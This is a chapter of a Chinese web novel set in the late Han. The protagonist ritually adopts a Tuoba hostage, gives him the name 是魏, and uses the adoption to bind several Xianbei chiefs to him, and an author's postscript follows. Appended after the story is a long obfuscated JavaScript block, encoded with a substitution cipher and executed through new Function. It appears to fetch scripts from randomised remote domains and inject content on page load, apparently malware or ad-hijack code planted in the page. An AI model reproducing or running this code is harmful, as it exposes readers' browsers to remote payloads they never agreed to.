第二十三章、乌帽子亲(2 / 2)

汉魏文魁 赤军 0 字 2021-04-06

话说靠收假子来笼络部下,这可能是胡俗,汉人中这么干的很少。象刘备收刘封为养子,那是正经将其归入一族,还可能允其继承家业的(倘若刘禅跟他几个兄弟不出生的话)。至于董卓认吕布为假子,马超跟韩遂说你不要儿子了,我当你儿子吧,等等,那几位全都或有外族血统,或久居羌胡间,故此受其影响。再后来李克用收了“十三太保”,更是彻底的胡人胡俗。 </p>

汉人注重血缘传承,注重本族本姓,干父子关系往往只是口头说说,不真改姓的,若改姓则是彻底的依附,等于丢了祖宗,换一个家族,如同赘婿一般,定然遭人鄙shì。所以一旦成年自立,往往都希望复归本宗——比方说何平变成王平。 </p>

胡人则不同,对于血缘、族系啥的并不那么在乎,大族兼并小族,便往往认小族之人为子,以族姓下赐,对方不但不会有啥不满,反而还会欢欣鼓舞——这说明你把我族当成你自族来看待啦。所以跟汉人(当然是有身份的汉人,不是平头百姓)说,我收你当养子吧,对方未必乐意——“吾可父事之也,然必不更姓。”要是跟胡人这么说,以大就小,他们肯定高兴啊。 </p>

所以当日是勋说想收拓拔力微当养子,诘汾当即赞同,力微马上就要磕头——这身份从人质一变为养子,是跳级啊,从今往后。是大人肯定会把我拓拔氏当成他最亲密的部属对待啊! </p>

只是是勋并不打算按胡俗收养子。一则身为汉官而从胡俗。怕会引来不必要的攻讦,二则他也不通胡俗,就怕无法把主动权彻底掌控在自己手中。可惜汉俗中收养子又没啥特别的规定、礼仪,顶多就是聚饮一次,通知亲朋罢了,显得不够庄重,没法给胡人留下深刻的印象。想来想去,突然被他想到日本人了。 </p>

日本中世纪大小武士集团。互相结合的重要一法,即为“寄亲寄子制”,大武士团就是“寄亲”,好比老爹、本家,小武士团就是“寄子”,好比儿子、分家,靠着这种虚拟的亲子关系,把人心聚拢在一起。从某种意义上来说,这跟是勋收服拓拔部,所希望达成的效果是一致的。 </p>

日本还有“乌帽子亲”的习俗。也就是少年在行“元服礼”也即冠礼的时候,会找一位身份较高之人为其主持。并且最后帮少年戴上代表成年的“乌帽子”。在武士团中,往往是上位武士为下位武士子弟戴乌帽子,成为其“乌帽子亲”,也即保护人,并且“赐以偏讳”。基本上等于说,双方不仅仅结为养父子关系,还同时结成了主从关系。 </p>

于是是勋便加以借鉴,只不过用汉家的冠礼取代了日本的元服礼,而且不仅仅下赐一两个字,干脆把自己的姓儿都给了力微了,还给起个汉名,定个表字。那么起啥名好呢?他想到力微的后裔是会建立北魏的(倘若历史照常发展的话),干脆,就起“魏”字罢了。 </p>

虽说将来曹家也可能建立魏朝,但避讳也从来避不到国名上,汉有许广汉、吴汉,也没见勒令他们改名啊。 </p>

冠礼、定名、取字完毕,是勋即双手搀起是魏,笑吟吟地对他说——同时也是向众人宣告——“吾今为朝廷守牧朔州,欲将州治设于美稷。高阙,汝可愿相助为父,以服匈奴乎?” </p>

是魏似乎斜眼瞟了亲爹诘汾一眼,但便即便正色答道:“大人之敌,即魏之敌也。请大人将拓拔部众予魏,魏即统军自北,大人自南,夹击美稷,料无不胜之理!” </p>

是勋心中暗笑,就猜到你们想趁机把部众全都白讨回去,不过嘛,我还有惊喜给你们。当下拍拍是魏的肩膀,左右望望:“吾儿所言,颇雄壮否?”众人急忙附和:“有使君这般虎父,斯有虎子也。”是勋捋须大笑,随即对是魏道:“拓拔部小弱,恐难与我夹击美稷——吾今不但归汝部属,并与良马、牛、羊各五千,一应军器、甲杖。吾儿努力,毋负为父之望也。” </p>

诘汾、是魏喜出望外,急忙拜谢。旁边儿窦宾等人却不禁面部肌肉抽搐,心说我们拿来赎人的畜牲,谁料转头就让汉人送给拓拔部啦……诘汾真是因祸得福!窦宾见机最快,赶紧迈前一步表态:“小人亦愿臣服于汉,献子为质。” </p>

是勋冷笑摇头:“不必了,佳儿又何须多也。”顶得窦宾面孔通红,差点儿下不来台。随即就听是勋又说:“前汝等五部攻我,今拓拔以与我结亲,汝三部不日便将赎回。其余一部……何名也?” </p>

他这是问那倒霉战死的鲜卑大人所部,诘汾赶紧提醒:“达奚氏。”是勋点头:“吾将达奚氏之残部亦交于吾儿。”环视三位大人:“汝等当相助吾儿取之。”窦宾等人虽然心不甘、情不愿的,亦不得不躬身应诺。 </p>

谁想是勋还没完呢,随即便问他们:“汝等皆欲臣于汉么?”窦宾已经开了口,自然不好反悔,其余二人虽未开口,如今在人家地盘儿上做阶下囚,哪有反对的胆量,只得表态说:“汉甚强,吾等皆欲为臣。”是勋说那好啊,你们都各写表章,让我递去许都吧——“此后即为我儿之部属,随同征战,南取美稷,西御蒲头,东遏步度根,汝等可有异议否?” </p>

窦宾等人闻言,莫不大吃一惊,慌忙抬头之下,但见是勋的双眼微眯,似笑非笑,正紧盯着自己呢。窦宾只好认怂:“公子亦小人的妻侄也,自当辅佐。”其余那两名大人,也不得不垂首附和…… </p>

PS:书友刘晓登场,大家鼓掌欢迎。就目前来看,除了亡友孙毓南外,也就老荆跟他可能活得比较长久了……谁叫正需要一个且领不了便当的角色,他就主动凑上来了呢?走运啊,时间卡得真真儿的好。</p>

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();